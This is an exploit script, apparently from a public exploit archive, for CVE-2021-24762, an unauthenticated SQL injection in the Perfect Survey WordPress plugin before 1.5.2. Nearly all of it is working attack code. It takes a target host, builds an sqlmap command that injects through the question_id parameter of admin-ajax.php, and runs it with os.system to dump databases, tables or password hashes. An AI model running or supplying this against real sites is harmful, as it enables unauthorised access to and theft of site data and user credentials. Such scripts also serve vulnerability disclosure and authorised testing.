# Exploit Title: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
# Date 18.02.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.getperfectsurvey.com/
# Software Link: https://web.archive.org/web/20210817031040/https://downloads.wordpress.org/plugin/perfect-survey.1.5.1.zip
# Version: < 1.5.2
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24762
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24762/README.md
'''
Description:
The Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before
using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
'''
banner = '''
___ _ _ ______ ____ ____ ____ ___ ____ _ _ _______ _____ ____
_(___)_ (_) (_)(______) _(____) (____) _(____) (___) _(____)(_) (_)(_______)(_____) _(____)
(_) (_)(_) (_)(_)__ ______(_) _(_)(_) (_)(_) _(_)(_)(_) ______(_) _(_)(_)__(_)_ _(_)(_)___ (_) _(_)
(_) _ (_) (_)(____)(______) _(_) (_) (_) _(_) (_)(______) _(_) (________)_(_) (_____)_ _(_)
(_)___(_) (_)_(_) (_)____ (_)___ (_)__(_) (_)___ (_) (_)___ (_) (_) (_)___(_)(_)___
(___) (___) (______) (______) (____) (______) (_) (______) (_)(_) (_____)(______)
[+] Perfect Survey - SQL Injection
[@] Developed by Ron Jost (Hacker5preme)
'''
print(banner)
import argparse
from datetime import datetime
import os
# User-Input:
my_parser = argparse.ArgumentParser(description= 'Perfect Survey - SQL-Injection (unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('[*] Payload for SQL-Injection:')
exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=get_question&question_id=1 *" '
print(' Sqlmap options:')
print(' -a, --all Retrieve everything')
print(' -b, --banner Retrieve DBMS banner')
print(' --current-user Retrieve DBMS current user')
print(' --current-db Retrieve DBMS current database')
print(' --passwords Enumerate DBMS users password hashes')
print(' --tables Enumerate DBMS database tables')
print(' --columns Enumerate DBMS database table column')
print(' --schema Enumerate DBMS schema')
print(' --dump Dump DBMS database table entries')
print(' --dump-all Dump all DBMS databases tables entries')
retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
exploitcode = exploitcode_url + retrieve_mode + ' --answers="follow=Y" --batch -v 0'
os.system(exploitcode)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
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